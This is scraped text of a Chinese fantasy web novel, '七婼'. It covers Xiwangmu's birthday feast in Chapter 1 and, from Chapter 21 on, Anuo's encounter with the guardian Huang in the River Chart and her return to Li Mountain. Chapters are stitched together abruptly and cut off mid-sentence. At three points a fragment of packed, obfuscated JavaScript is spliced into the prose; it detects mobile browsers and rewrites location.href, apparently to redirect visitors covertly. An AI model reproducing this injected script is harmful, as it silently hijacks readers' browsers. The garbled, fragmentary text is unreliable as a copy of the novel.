《七婼》 1. 吉日兮辰良 《七婼》全本免费阅读 上古纪天地倾颓,造化之神女娲炼五色石补苍天,杀巨鳌以立四极,女娲也因此神力衰竭,身殉苍生。 自那以后,神族掌天地之力,凡人崇信神力、大修神庙,妖族则避入深山,收敛爪牙。其后四万八千年,三界井然,四方有序。 ——直到洪荒大潮的到来。 后世提及这场终结了洪荒纪的洪水,都要从西王母的七万岁寿典说起。 ** 西王母的居所,是一座悬浮于昆仑山巅的兰茝宫阁,世人称为“悬圃”。 西王母是昆仑之主,亦是女娲之后地位最高的神明,众神视她为母。她的寿典自然是神界最隆重的盛会,众神或踏龙蛇,或驾香车,纷纷前来朝贺。 刚飞升的小神仙们有机会得瞻天颜,散居群山的老神仙也借此和暌违已久的同僚欢聚。 西王母的容颜仍如许多年前一般,丰肌秀骨,绰约天成。以凡人之眼看来,她不过三十出头的年岁。但恁谁胆敢抬头直视她的眼眸,便不免受到七万年苍凉岁月的震撼。 她的内心已经彻底衰老了。她品尝过最浓烈的美酒,爱抚过最英俊的男人,斩杀过最残暴的凶兽。如今的世间,似乎已经没有什么能令她提起兴趣。 酒酣耳热之际,西王母的长女,公主姑媱亲自为母亲作御风之舞。 姑媱身着黛色羽衣,纤腰若纨素,乌发隐鲛珠,她翩然飞入瑶池,轻声吟唱: “吉日兮辰良,穆将愉兮上皇……”(注1) 姑媱的嗓音如空谷鹂鸟,舞姿如流风回雪,她豢养的十二只青鸟在她身周翩翩相和,更衬得她如同正午骄阳般明艳。 姑媱是神族记史,保管《神典》,她的父神是上古纪随侍过女娲的神史。姑媱继承了母亲的美貌,又多了几分父神的平易近人,是神界人人敬爱的公主。 一舞罢了,众神纷纷击节赞叹,如痴如醉。西王母朝姑媱浅浅颔首,但眸中并无什么兴味。 接下来,西王母之子河伯沉汤为母亲作劲射之舞。 沉汤生得俊美高大,额头上涂染着金色与蓝色交织的油彩,细长的凤眼透着高傲。他的父亲是上古纪的河神,如今他承父业掌管河洛,受万民朝拜。 他手持自己的本命神兵濯天弓,弓弦是龙筋所打,弓弦是龙髓所煅,在铿锵的鼓点中,仰天发出三箭。 三根箭矢分别准确地穿透天边的三颗星子,爆出苍穹中最为壮丽的烟花,星子的碎屑化作千条火光,拖着长尾落入远处的山峰后。 众神惊异之下,大呼河伯神技。 西王母的眼眸中添了一丝欣慰:“吾儿弓艺,不亚于朕。” 沉汤骄傲地看了姐姐姑媱一眼,持弓返席。 这时,角落里忽然传来一声: “怎不见无咎神君前来献寿?” 说话的不知是哪个新晋小神,还不晓得昆仑的神情世故。他原本只是低声议论,却恰好赶上姑媱之舞鼓乐方停,这下,大家都听了个清楚。 昆仑神族以女为尊,西王母膝下有一女二子。长女姑媱常伴身侧,其弟沉汤久居河洛,幼子无咎却很少露面。 据说,无咎神君在母体中孕育时恰逢大战,胎里不足,灵根不全。取名“无咎”,也是盼他无病无灾,平安长大。 无咎神君一出娘胎,就温养在虞渊下的星燧塔中,直到千年前,才聚齐元神出塔。 出塔那日,神光照耀得虞渊万里如昼,无咎神君于神光中初现真身,当真是龙章凤采,霞姿月韵,当世无双。 最擅画的青琴神君那日恰好在场,回去之后,耗百年之力,为无咎神君绘了一幅画像。 再后来,神界身怀有孕的女神仙,都去临摹此画,挂在自家床头日日观看,只盼自己的孩子也有这般貌美。 今日来参加寿典的神君们,多半也都怀着看一眼无咎神君的指望。 云端玉座之上,西王母凝着冰冷的玉容,悬圃之中刹那间吹起了彻骨的凉风。 四下登时鸦雀无声,众神纷纷低头,生怕被错认成说话者。而那说话的大约也意识到了自己的鲁莽,更是埋头不吭声。 一个小神仙摸了颗葡萄塞进嘴里,却发现葡萄已冻成了冰球。 终究是姑媱公主救了场。 “吾弟无咎,灵体有缺,三千年方能出塔一次。这是众所周知的事。” 话虽如此,女神仙们难免还是有些失望。 姑媱顿了一顿,青鸟从旁呈上一卷竹简编册。 “母亲,无咎在星燧塔中温养灵根,也并未耽误修炼。他炼成了一件法器,名唤‘借月章’,托青鸟送来,给母亲做寿礼。” 西王母问:“何为‘借月章’?” 姑媱解开绳结,竹书展开,上面并无一字,却笼罩着一层淡淡的光晕。 “母亲请看——” 她将竹书对空一掷,竹简散开,像道道水光射向云端。水光再散作水雾坠落,却无一滴落地 ,而是如一块庞大的柔纱,飘浮在半空。 一轮皎白的满月在水雾柔纱上幽幽浮现,盈如玉璧,形若巨轮,近在咫尺,辉满昆仑。 “今日月朔,夜空无月,不免寂寥。无咎他说,母亲的寿典,应有皓月当空,方见得圆满。” 这错了时节的月华震慑了众神的双眼,引发了一连串情不自禁的惊叹。 西王母却似有所感,微微失神。 河伯沉汤低声笑道:“无咎的戏法变得不错。只是不知有什么用处,是能上阵杀敌,还是能立威于凡人?” 西王母回过神来,冷冷地看了眼姑媱: “雕虫小技。……让他好好修行、安养灵根,莫要摆弄这些华而不实的机巧。” 姑媱微怔。 在漫长的岁月中,无咎神君的孱弱灵根已经成为西王母的一块心病。众神以为这是可以理解的,神族亲缘淡薄,但孩子总是母亲的忧虑。 西王母的脸上掠过一丝厌倦: “朕乏了。” 她袖带轻扬,似乎要提前结束这场盛宴。 众神尚未尽欢,却也不敢违逆西王母之意,只得勉强压下遗憾。 此时,看守悬圃之门的伯阍前来禀报,道是云中君遣风师自云梦泽而来,为西王母献寿。 女娲去后,洪水渐平,妖兽藏匿,征战渐少,凡间人民望四时风雨耕作。云中君掌管风雨雷电四象,颇得民心,又从凡人中招揽许多门徒修为地仙,声势渐广。近些年来,云中君在神族中的威望,渐有与西王母齐头并驾之势。 但云中君向来谦冲自牧,克己慎行,多年来,云梦泽始终对昆仑执下臣之礼,从无怠慢。 西王母遂示意请风师上殿。 风师是位内敛儒雅的男神,说话也如清风般柔和,他王母面前跪下: “微臣受云中君之命,为王母献寿!愿王母千秋永寿,松鹤长春!” 他手中牵着一根青色的仙索,线索的另一头拴着个半人高的金色活物。活物被捆成个毛团,如蛇般扭动,口中咿咿哀叫。 西王母勾唇: “看来,朕的寿典已经劳不动云中君大驾了。” 风师慌忙伏地: “微臣本不该多言,但云中君为了给王母准备寿礼,身负重伤,不得不留在云梦泽休养。……这一闭关,恐怕至少要数百年。” 此话一出,满座皆惊。 云中君法力高深,善驭天地之力,是神界第一武神。到底是什么寿礼,竟能让他身负重伤? 姑媱代众神问出了这个疑问。 风师牵了牵手里的绳子: “正是这孽畜!” 仙索一抖,绳圈荡开,只剩一股紧紧箍住那金色活物的颈项。 众神这才看清,那是只金色的长毛猕猴,面目如人般清秀。奇特的是,这猕猴手臂极长,脑袋两侧竟各有两耳,是一只四耳金猴。 据《神典》所载,长右状如猿猴,有四耳,其音如吟,见则郡县大水。(注2)它们到了什么地方,什么地方便会发生洪灾。 洪荒纪前的那场上古洪水,正是因为妖族祸乱人间所致,而其中为祸最广的,便是长右。 上古洪水之后,许多大妖都被神族屠杀殆尽,但长右善于隐藏行迹,逃入不知名的深山,难寻踪迹。 风师道: “这恐怕是,世上最后一只长右。我家君上费尽千辛万苦,终于在雪峰山擒住了它,自己却被雪峰山顶的寒气所伤。君上叮嘱微臣,务必要赶在寿典时将这孽畜送到悬圃。” 西王母久久不语,半晌,才颔首道: “云中君辛苦了,这寿礼,深得朕心。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12753668|131439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阿婼讶然:“你认得?” 荒未置可否。 他敛袍抚袖,来到河水边,将两根修长的手指伸入水中,不知如何,竟夹起了一缕银色丝线般的水线。 阿婼看得目瞪口呆:“这……也是水行法术的一种吗?” 话音刚落,那流光溢彩的水线竟如小蛇一般,缠着荒的手指,钻进了他掌心,消失不见了。 荒背对着阿婼,身影如萧萧疏疏的竹子,竟是久久伫立不动。 “喂!荒!”阿婼唤他。 荒没有理她。 过了很久,荒才侧过了脸,眉宇间,似乎多了一丝忧愁。 “竟会如此。” 他沉吟许久,忽然舒眉,向阿婼微微一笑: “你我在此相遇,便是机缘,倒也不妨与你细说一番。” 荒的广袖向天一舒,纯白的世界里忽然有了颜色,水面云蒸雾集,出现了青色的浮岚。 “此处并非真实的河川,而是在一幅画卷之内。你所见的皎白世界,无风无月,便是时间的永冻。此处,并没有时间。” 阿婼:“没有时间?那这条河是什么?它分明好好地流着。” “河川中流动的,并不是水,而是画卷绘制的那一瞬间,世间所有的智识。” “智识?” “真实、事理,智慧。” “你说这些水,是智识?” 荒点点头。 “智者乐水,智识正如流水,纠结交缠,互相浸润。这幅图画的名字,就叫河图。” 阿婼觉得好笑:“那我问它问题,它能回答上来么?” 荒先是愕然,尔后低笑出声: “你竟自行想到了它的用途。不错,时间智识如大河宽广,即便是神明,又岂能穷尽所知呢?进入河图者,便有机会向河图提出问题,河图将自行决定是否作答。” 阿婼嗤道:“它自行决定作答,不知道便可以不答。那谁知道它是不是真聪明?” “河图是否作答,取决于你心中,是否已有与答案相关的智识。譬如豆蔻女子,好问恋慕事。但倘若问者从未恋慕过任何人,也不知恋慕为何,即便问了恋慕事,河图也不会给出答案。” 荒似乎比之前多了耐心,细细地解答。 “这样说,我若要问它,如何取得七萼龙胆,需得我自己见过七萼龙胆,它才能告诉我?”阿婼哭笑不得。 “就是这个道理。” “这么说,这条河对我也没什么用。” 阿婼嫌弃地皱起小巧的鼻子。 荒意外地望着她:“许多人愿意散尽家财、众叛亲离,只为换取一个入河图的机会。他们大多有一个受困终生的问题。譬如所爱能否回应,大仇能否得报,重病能否得治,苦难何日终结。……你有幸入了河图,却说它对你没什么用?” 阿婼道:“我眼下最大的困惑,就是如何摘到七萼龙胆。” 荒莞尔了。 这是一只虽然未经世事,却极度专注眼前的小妖怪。 “你还太小。最大的问题,是不知道该向世界提什么问题。” 阿婼觉得他这话里似乎有点轻视: “你很老了吗?那你向河图提了什么问题?” 荒没有正面回答,只是说:“你来之前,我已得到答案了。” 22.冻水歌 这个荒,看起来挺和善,说话实在太绕,阿婼听得云里雾里。 但她敏锐地察觉,荒对她很感兴趣。 她说了很多自己的事。荒也告诉了她很多,却没有几句是关于他自己的。 荒指了指河洛盏: “可以给我看一看吗?” 一种动物性的机敏令阿婼后退了一步,戒备地望着他。 荒倒也不以为忤。 “我不会抢你的河洛盏,也抢不走。” 他主动拉开与她的距离,轻声道:“我说过,此处只是一幅图画,你我并非真身在此,能带走的,也只有河川中的智识。” 阿婼想了想:“那么你就站在那里看,不要过来。” 荒点点头。 阿婼解下河洛盏,拿在手中,给荒看。 “你怎么知道它叫河洛盏?”景洄他们都把它叫做人面鱼杯。 荒细细地观察河洛盏的纹理,轻吁了口气。 “这是极古老的物件了,甚至比我还要老。它不存在于任何成文的记载,只有很少的人知道它的存在。它有它自己的灵性,或者说,是很多年前女娲赋予它的灵性。” 他顿了顿:“河洛盏与河图,都是女娲治水时,留下的水行宝物,它们之间,有着一些神秘的联系,连我也不明白。” “那,河洛盏之前也把别人带进过河图吗?” 荒摇摇头:“只有你。” “那你呢?” 荒扯了扯嘴角:“我……是河图的守护者,无需河洛盏,也能自由进出。数万年来,除了我,只有你进过河图。” “我不知道。也许它只是……单纯喜欢你。” “……”阿婼无语。 那它喜欢的方式,还真的挺特别的。 俄而,阿婼道:“我得回去。河图能告诉我怎么回去吗?” 荒:“河图能告诉你的,比你想象得还要多。你若能在河图中静思一百年,将有大进益。” “一百年?” 阿婼大是愕然,急道:“我要回去的。我的师父们都懒,没有我,他们就吃不上烤猪了。我刚收了两个人奴,不回去,他们会被师父们杀掉。……还有‘仙人转’,没有我,他们会被外头的妖欺负。” “我很重要的,不能留在这儿。” 她苦恼地拧着眉心,分明稚嫩天真,却已被尘俗缠得紧紧。 荒敛眸凝视她,眸光里有柔和的碎影。 他沉吟片刻,倏然道: “你没见过七萼龙胆,我却见过。” 修长的指掠过银色河水,轻轻勾起了两缕水丝。水丝却并未如上次一般,化入他掌心,而是在他指端漂浮。 “我可以帮你找到七萼龙胆。但你离开此处后,不能向任何人、妖、神透露你曾入过河图,更不能透露你曾见过我。你能做到吗?” “这有何难?”阿婼满心都是七萼龙胆,“我答应你便是。” 荒忽地解颜而笑,那笑如群山中的流云般捉摸不定,顷刻便又消失。 他的凤眼如波光流动,宽袍浮动间,整个人忽然贴得极近,长指毫无预兆地点中阿婼的眉心。 阿婼欲退,却被一股无形之力缚住,动弹不得。 “你干什么?”她又惊又怒。 荒指尖的两缕水丝,如小蛇一般,钻进了阿婼的眉心。 阿婼眼前的河图世界消失了,取而代之的,是一丛石上的碧草,数朵靛蓝色的七萼伞花傲然挺立。 “七萼龙胆,乃阴生之妖花,妖族佩之,能遮蔽妖气妖形,行走人间与凡人无异。”说话的是荒。 阿婼恍然大悟。难怪师父们订下规矩,要去人间,必须先摘得七萼龙胆。 “七萼龙胆常生于寒水近畔,不易摘得。我今传你水行法术之第一义——冻水歌。” “冻水歌?” 荒的嗓音清朗而铿锵: “冻水洗我若之何,太上糜散我若之何!(注)” 仿佛有一股冰冷的水流从阿婼的天灵盖灌入,洗刷了她的奇经八脉,心脾肺肾,又从脚底板涌了出来。 阿婼浑身如坠冰窟,只觉身体里平白多了一股奇特寒冷又柔滑的气力,和她此前的火行、木行之力相互抵消、缠斗、又归于平衡。 “这就是……水行之真义?”她颤声问。 从前六师父说,河洛盏中蕴含水行之真义,要参悟得道,却要看各人的机缘。 没想到,这机缘就这么歪打正着地被她碰上了。 荒低低一笑:“水行博大精深,‘冻水歌’呼天求生,只是最基础的一义,算不得什么真义。但……用来摘七萼龙胆,已是绰绰有余了。” 他那云峰青的袍袖轻轻一拂,膝上的玉组佩叮当作响。 洪波平地涌起,将阿婼卷了进去。 荒的身影隔着水波,模糊成一个晶莹的白影。 阿婼察觉自己离他越来越远,不禁大叫:“荒!” 荒的声音仍回荡在她耳畔: “你我今日相遇是机缘,或许来日重逢,亦是机缘。” 阿婼来不及再说什么,洪波如温柔的手掌,承托着她,离那纯白的河图世界越来越远。 “荒!” 她的意识仿佛一只断了线的风筝,突然失风,一个倒栽葱,栽回了自己的身体里。 ** 漆黑的寒水中,一个人形的冰坨缓缓下坠着,似乎永远到不了底。 突然,冰坨里亮起了火光。 一个身影撞了出来,碎冰徐徐上浮,少女的身段灵活下潜。 她再也不觉得冰冷,寒水就如仙人转热浴盆里的洗澡水一般,令她舒畅惬意。 水火本该相斥,如今却能相安无事。阿婼在水中燃起一星微火,照亮前路。 她在寒水中打滚,疾冲。 “吾汝!” 她大喊。 那四脚蛇吾汝已经消失不见了。阿婼猜测,它可能躲回那个阴暗的黑沙滩去了。 四周几乎是纯然的黑暗。 阿婼想了想,捏起手诀,念道:“冻水洗我若之何,太上糜散我若之何!” 水行之义流遍全身,她忽然感受到了水和水的不同。 水中的气味、痕迹,变得显著起来。她感受到了吾汝留下的痕迹,纤腰一转,便追着那痕迹而去。 果不其然,不过顷刻,她就回到了吾汝的黑沙滩。 潜室的碎木屑还散落在沙滩上,却没有吾汝的踪迹。 阿婼再叫:“烂秃皮的四脚葫芦,姑奶奶没死,又回来了!快快滚出来受死!” 黑沙滩上寂寂无声。 阿婼哪里还有耐心,双手张开,祭出凤头火斧,怒斥一声: “朱雀离火,寸草不生!” 火雨漫天而降,照得深处数百丈间亮如白昼,流星四坠。 其中一朵火雨落处,蓦地响起了痛呼声: “烧死吾矣!” 火雨中,阿婼冷哼一声,掌下疾射出数根荆棘,朝那发声处蹿去。荆棘汇聚成一个小小的樊笼,准确地笼住了一只四脚蛇,将它收摄过来,浮在阿婼面前。 阿婼神清气爽地招手:“吾汝,别来无恙!” 吾汝瞠目结舌地望着她。 “汝竟未死!汝若非女娲,又为谁耶?” 阿婼叉着腰,响亮地对他重复: “我、真、的、不、是、女、娲!” “我是阿婼,天上地下,古往今来,独一无二的,阿婼!” 吾汝惶然醒悟,仰着短粗的脖子,乞求道:“阿婼山主,阿婼山主,饶吾性命,吾必生死相从!” 它竟有脸再求饶! 阿婼简直难以置信:“你已经背叛我两次了。换作是你,你还会相信你自己吗?” 吾汝瞪圆了眼睛,竟被堵得无言,良久才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12771837|131439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃喃自语: “呜呜呜,是了,吾若是汝,定会杀吾!呜呜呜,求亦无用,求亦无用!” 它在荆棘的笼子乱窜,一不小心就被笼内尖刺刺得流血,疼得呜呜大哭。 阿婼看它哭得悲伤,倒是有点心软。 这个黑沙滩,也不知是什么所在,连根草都没有。吾汝却被关在这儿,过了几万年。 她想了想,叹口气:“你被困这里,太久不见天日,又没有同伴可以说话,心智偏狭病态,也属正常。” 吾汝呆呆望着他,一时分辨不出她是同情还是嘲讽。 “还有,你这个大嘴倒是很新奇,也许将来有用。” 阿婼爽朗得一甩头:“我带你出去看看阳光。今后,你就跟着我,若是老实忠心,等我消了气,就放你出来。若再有一丁点儿的不听话,我就把你的皮剥下来,做个腰囊用。” “看看……阳光?” 吾汝茫然地重复她的话,似乎过了很久才想起来,阳光是个什么东西。 它脸上忽然现出一种震动和难以置信的喜悦。 “阳光?我可以看看阳光?” 阿婼结了个囚困法术,把那荆棘笼子再变小些,变成个小草球模样,刚好和河洛盏一起挂在腰间。 吾汝委委屈屈地缩在笼子里,爪子扒拉着笼刺:“呜呜呜,阿婼山主可否去了这些倒刺?” “不行,我还没消气。” 吾汝颤抖了一下,只得老实地将自己缩成一小团,避开尖刺的威胁。 阿婼再加固一层法术,拍拍草球:“坐稳扶好,我们走啦!” 言罢,她一个鹞子翻身,再度跃入寒水。 穿梭而来的水底乱流,对她而言,就像是可以凭借游走的风。丹田之中,火、木、水三行之力达成了和解。她觉得自己是一只崭新的,有见识的妖,浑身充满了力量。 一种奇异的直觉为她引路,就像荒那沉静又温和的嗓音。 游了大约半炷香的时间,那生着七萼龙胆的钟乳石洞,终于出现在阿婼眼前。 ** 幽明潭上,五师父的脸色已经比他的衣服还要苍白。 “三哥,你还是再下去一次吧。” 三师父抱着拐杖,靠坐在一棵松树下,恹恹地掀起眼皮: “我已经下去三回了。那丫头,绝对不在底下。” 五师父僵了僵:“如此,只能请大哥想办法了。” 三师父变色道:“大哥听了,岂不是又要发疯?二狐狸不在,我们未必制得住他。” 五师父看看一旁的随岚和景洄: “这两个凡人丢给大哥,他杀完人,或许就清醒了。” 随岚、景洄:“……” 这两只大妖旁若无人地谈论着他们的生死,如同谈论两只蚂蚁。 三师父长叹一声:“也只能如此了。” 随岚轻咳了一声:“两位前辈,我有个建议……” 他话未出口,说时迟,那时快,幽明潭中央忽然涌起数丈高的飞泉。 泉水的最高处,立着个草黄衫裙的少女,脸上带着明媚的笑意。 “咦?大家都在啊。” 她浑然不知岸上发生的事,得意洋洋地挥舞着手臂,手中拈着一朵靛蓝如冰霜的花。 “三师父五师父,我采到七萼龙胆啦!我可以去人间啦!” …… 三师父和五师父木然收回目光,对视了一下。 五师父:“你动手还是我动手?” 三师父叹气:“你去吧,我没力气了。别手软。” 五师父斯文地捋了捋袖子,翻腕结出一团土系灵力: “乱石穿空。” 飞石忽起,各个如拳头般大,密密麻麻地向空中的阿婼疾袭而去。 群山中顿时响起阿婼飞快奔逃的大喊: “呜哇,五师父,别打啦别打啦!” 23.山中无定之风 五师父追着阿婼,砸了一天石头,才勉强解气。 但阿婼毕竟成功摘到了七萼龙胆,如今更是铁了心,理直气也壮地要出山去人间。 三师父和五师父虽不快,却也认可七婼山的规矩便是如此。三妖便一同去见大师父。 阿婼是独自进无忘洞的。三师父和五师父守在外头,没多久就听见怒骂声响起,紧接着,望见洞里离火灼灼,一老一小开始互扔火球。 五师父有些焦灼:“臭丫头能应付么?” 三师父老神在在:“洞还没塌,应该没事。” 前一次,大师父发疯,是因为阿婼从外头捡了只可怜的死鸟,来不及葬,随手扔在了洞门口。 那死鸟的羽色和大小都和阿婼的原形颇像,大师父一大早出门看见,大吼三声,吐了口血,回身一掌,就把无忘洞炸塌了。 幸好二师父胡单单也在山中,联合着阿婼和其他几位师父,一起制住了大师父。 只是这么一闹,半个山顶都被朱雀离火烧成了灰。 五师父想起上回,还是心有戚戚焉。那时他以土行之力,花了七天七夜,才把塌了的无忘洞修复如初。 这样看,这次老大还算有节制。 五师父刚有了这样的想法,便看见阿婼像一只小草球一般疾冲了出来。 她头发被燎得长短不齐,满头大汗,身后紧跟着一朵朱雀离火,几乎来不及闪躲。 幸好,三师父拐杖中及时射出一泓清泉,将那离火拦了一拦,阿婼才成功躲开。 她虽形容狼狈,目光却坚毅又顽狠,回身朝洞内大吼: “不管你怎么说,我就是摘到了七萼龙胆!” “小羽畜,你翅膀硬了,想翻天吗?” 洞内一掌打过来,但这次,阿婼已有防备,灵活地闪开。 她也起了野性,怒恨道: “老秃鸟,横竖是你们定的规矩,我做到了,你认不认吧!” 这一声,无礼悖逆,掷地有声。 无忘洞中,忽然鸦雀无声。 五师父吓得去捂她的嘴。 “你个死丫头,不要命了!” 阿婼看看五师父,又看看洞内,忽然扁嘴,大哭起来。 “师父们都不讲道理,说话不算数!你们说摘了七萼龙胆,就能去人间。现在我摘到了,你们又不认!你们——算什么师父!” 三师父和五师父面面相觑。 阿婼往地上一坐,索性撒泼打滚,两腿猛蹬: “师父们想干什么就干什么,有秘密从来也不告诉我。我只是想去人间找六师父,这一点愿望你们都不答应!” “我活着没意思!” “你们干脆用火烤了我,撒点盐巴草果,用我这几两小鸟肉,塞个牙缝罢!” “……” 三师父和五师父哭笑不得。这臭丫头,发横耍野的本事无人能敌,难怪老大给她取名叫元婼,实乃天下第一不服管教的丫头。 何况这一次,她确实也占理。 三师父慢吞吞地咳了一声,试探着朝洞内唤道: “大哥……要不这回……” 他话刚出口,洞内徐徐飘出一轮赤焰。 大师父立在赤焰中央,睥睨着阿婼,冷冷道: “小羽畜,你虽给自己封了个山主,在厘山横行无忌,可说到底,还是仗了师父们的势。去了人间,没人认识你师父是谁,受了欺负,莫要回来求告,惹了祸事,师父们也不会为你收拾。” 阿婼梗着脖子:“那是自然!您也一样,我要是死在外头,您也不必为我收尸!” 大师父的红瞳骤然一震,射出的厉光让三师父和五师父都忍不住缩了缩脖子。 但阿婼却毫无所惧。 一老一小两只鸟儿对视了良久,终是老的那只长叹了一声。 “罢了。命中如此,你想去,就去吧。” 大师父说完,周身赤焰渐渐黯淡下来。 他的脸色如燃烧殆尽的灰堆,惨然转头,飘回洞府去了,只余一地飞灰。 阿婼站在那一滩灰烬里,面如土色。 三师父和五师父互视一眼,都无奈摇头。 阿婼木呆呆地痴想许久。 她有点不敢相信,她和大师父抗争了这么久的请求,大师父忽然就松口了。 她觉得自己是占理的。 可是,大师父那无所谓的神情,又让她很难过。 好像他……不打算管她了。 五师父道:“小羽畜,你想要的已经得到了。还站在这儿做什么,还不快滚?不怕你大师父反悔?” 阿婼神情沮丧地看五师父一眼,倒教他也愣住。 阿婼心想,不是这样,她想要的不是这样。 她想要的是,把道理和大师父讲明白,让大师父心悦诚服,顺理成章地答应和赞同她要去人间的决定。 她还想要大师父快快乐乐地送她出门,并且夸她,又聪明又勇敢又了不起,一定能成功把六师父救回来。 现在她忽然明白了。这根本是不可得的。 阿婼站在那一堆灰烬里,大哭起来。 五师父最怕孩子哭,一向是避之唯恐不及的,见状皱着眉头,叹着气走了。 三师父大约能明白一点阿婼的心情,凑过来,摸了摸她的脑袋,也走了。 阿婼哭了很久,哭声渐渐止息。 现在她脑海里只剩下一个念头了。 ……她就这样离开吗? 万一她……和六师父一样回不来了呢? 她擦干眼泪,停止了抽噎,慢吞吞地挪到无忘洞口。 无忘洞中,无火无声,没有出声斥责,也没有出声安慰。阿婼扒着门缝,抖抖战战地问: “大师父,你今日想吃点什么呀?” 一片静谧。 阿婼没有放弃,继续讨好道:“大师父,我今天遇到一只花皮小猪,看起来很香嫩,你想吃嘛?我去抓给你吃呀。” 还是没有回音。 也许,大师父又开始入定了,根本没听见她哭,也不在乎。 阿婼低头看着自己的双手,不知该怎么办才好。 算了,大师父根本不在乎她,也不喜欢她。 她就是他路边随随便便捡来的一只小鸟儿罢了。 就在她快要放弃的时候,洞内忽然传来一道淡漠的声音。 “为师今日坐悟东天,不食荤腥。” 阿婼蓦地瞠大眼,急得声音直打跌:“那我、我去后山摘桃子,又红又大又脆的水蜜桃!” 仿佛过了一万年,大师父才出声: “听起来……很好吃。” 阿婼如蒙大赦,几乎要蹦起来:“我去摘了,大师父您就等着吃吧!” 大师父疯,有疯的好处。 罚跪记不住,生气也记不住呢! 此时三师父和五师父尚未走远。无忘洞方向忽起一阵清风,快乐地打着转朝后山林中投去。 五师父仰头叹气,对三师父道:“你说老大这回,是真疯,还是装疯?” 三师父拈着胡须:“这重要吗?” ** 与此同时。 随岚和景洄还被关在竹屋里,守着胡单单的八个亡夫牌位。 景洄问:“她既然还活着,我们应该不用死了吧?” 随岚:“也许吧。” “她不死,我们便不会死。” 景洄很不愿意自己的性命和那个粗鄙的女妖怪绑在一起,恨道:“若不是因为我中容国的镇国之宝还在她手中……就该让她淹死在水下。” 随岚知道他只是嘴上凶狠,微微一笑,并不戳穿。 恰在这时,不远处的另一个山头上,忽然腾起烈火,炸裂之声如雷,许多鸟雀桀桀地飞起。 两人对视一眼,登时无语,心有余悸。 景洄小声道:“听她三师父五师父的口气,那个大师父,好像很凶残,该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12783098|131439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会失手把她杀了吧?” 随岚诙笑:“你看她那个性子,若师父真的凶残,她能活到现在么?” 分明……是被纵容着长大的孩子。 他盯着氤氲的山岚看了许久,忽然转头,朝景洄笑道: “太子殿下,你还记得自己为何要来厘山吗?” 景洄被他问得一愣,片刻才想起。 “我是来求援的,我以为母后还有朋友,可是……” 随岚接着他的话说下去:“……可是你接触了这么多妖怪,觉得他们全都凶残,自私,冷漠,没有一个值得信任,是吗?” 景洄不作声,抿紧的唇线已经昭示了他的答案。 随岚指指外面: “那位阿婼山主,为什么要冒险把我们从灵宝大王手里救出来呢?又为什么冒死下幽明潭摘七萼龙胆呢?” 景洄哼了一声:“她救我们,是贪图我镇国之宝人面鱼杯。她下幽明潭,是自己想去人间玩乐。她要你我,变成任她差遣的奴仆,任她蹂躏摆布发泄。” “是这样吗?” 随岚笑了笑:“在梅花洞里,有一瞬间,我真的以为自己要死了。死倒没什么,可是要回到……要离开人世,真的是太无聊了。” 景洄没听懂他的意思。 随岚继续道:“就在那时,阿婼山主挡在了前面。我一个无牵无挂的浪荡人,还是头一次这样被舍身相护。你觉得她为什么要这样做呢?” 景洄皱眉思忖一会儿:“她看上了你的脸,喜欢你呗。” 妖族行事霸道,语言也霸道,从凡人的角度听来,自然觉得他们说什么,做什么都充满了恶意。 随岚摇头:“她是为了保护那只人面鱼杯啊。” “……” “贪图、玩乐、奴役他人的欲望,是不足以令人舍命的,妖也一样。太子殿下,你要找的,已经找到了。” 景洄震惊了半晌,似乎明白了一些。 他一时有些欣喜,一时却又担忧:“她这么弱,连灵宝大王也打不过,又怎么能打败河伯?她的师父们好像很强,如果可以拜托他们……” 景洄终究只是个十三岁的少年,他没有亲眼见到灵宝的阴虹电槊,自然不明白当时是何等险要的情形。 于弱者的想象中,强者助人,只是举手之劳,于强者而言,却似是门前排队乞食的饿殍,饭桌上挥之不去的乌蝇。 这些残酷的世间法则,随岚向来不爱直言挑破。景洄懂也好,不懂也好,那都是他自己要走的路。 但不知为何,他忽然觉得,这几日的经历,值得多说几句话。 “太子殿下,世间生灵自然有强弱之分。可是,强者未必助你,弱者未必弃你。若不是阿婼山主执意追寻,她的师父们再强大,今日也不会插手的。” 他想了想,把褡裢里的匿光珠掏出来,交给景洄。 “相逢便是有缘,这个,就算是我给太子殿下的临别赠礼吧。” 景洄愕然:“随岚先生,你要逃走?” 随岚:“我是来送信的,信已送达,自然要走。” 他与随岚历险一遭,已经对他产生了强烈的依赖。 “那我跟你一起……” “太子殿下,我要去的地方,和你不同。” 景洄不解:“你要去哪儿?你若肯和我回中容国,我保你卿相之位!” 随岚微微一哂:“太子殿下如今朝不保夕,人间到处都是追杀你的死士。有什么能力保我卿相之位呢?对你来说,待在阿婼山主身边,才是最安全的。而我……” 